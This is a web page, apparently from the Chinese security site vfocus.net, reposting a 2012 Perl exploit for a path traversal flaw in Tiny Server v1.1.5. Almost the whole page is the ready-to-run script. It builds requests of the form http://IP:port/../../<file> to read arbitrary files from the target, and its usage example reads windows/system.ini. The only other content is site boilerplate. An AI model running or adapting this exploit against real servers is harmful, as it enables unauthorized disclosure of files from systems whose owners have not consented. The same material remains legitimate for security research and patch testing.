|
Tiny Server v1.1.5 Arbitrary File Disclosure Exploit
|
|
来源：vfocus.net 作者：KaHPeSeSe 发布时间：2012-03-19
|
|
#!/usr/bin/perl -w
#Title : Tiny Server v1.1.5 Arbitrary File Disclosure Exploit
#Author : KaHPeSeSe
#Test : PERFECT XP PC1 / SP3
#Date : 15/03/2012
use LWP::Simple;
use LWP::UserAgent;
system('color','A');
system('cls');
print "\n\t____________________________________________________________________\n";
print "\n\t....... Tiny Server v1.1.5 Arbitrary File Disclosure Exploit .......\n";
print "\n\t....... Founded and Exploited by KaHPeSeSe .......\n";
print "\n\t____________________________________________________________________\n\n";
if(@ARGV < 3)
{
print "[-] Error!\n";
print "[-] Look to example\n\n";
&help; exit();
}
sub help()
{
print "[+] How to : perl $0 IP Port File\n";
print "[+] Example : perl $0 192.168.1.2 80 windows/system.ini\n";
}
($TargetIP, $Port, $File) = @ARGV;
print("Connet to Server.... \n");
sleep(2);
$path="/../../";
my $link = "http://" . $TargetIP . ":" . $Port . $path . $File;
print("Connected\n");
sleep(2);
print("Waiting for moment\n");
sleep(1);
print("Done! Reading $File...\n");
sleep(3);
$ourfile=get $link;
if($ourfile)
{
print("\n\n____________________________________________________\n\n");
print("$ourfile \n\n");
print("_____________________________________________________\n\n");
}
else
{
print("_____________________________________________________\n\n");
print(" Not Found !!!\n\n");
print("_____________________________________________________\n\n");
exit;
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
|
 |
|
推荐广告 |
|
|
|
|
|
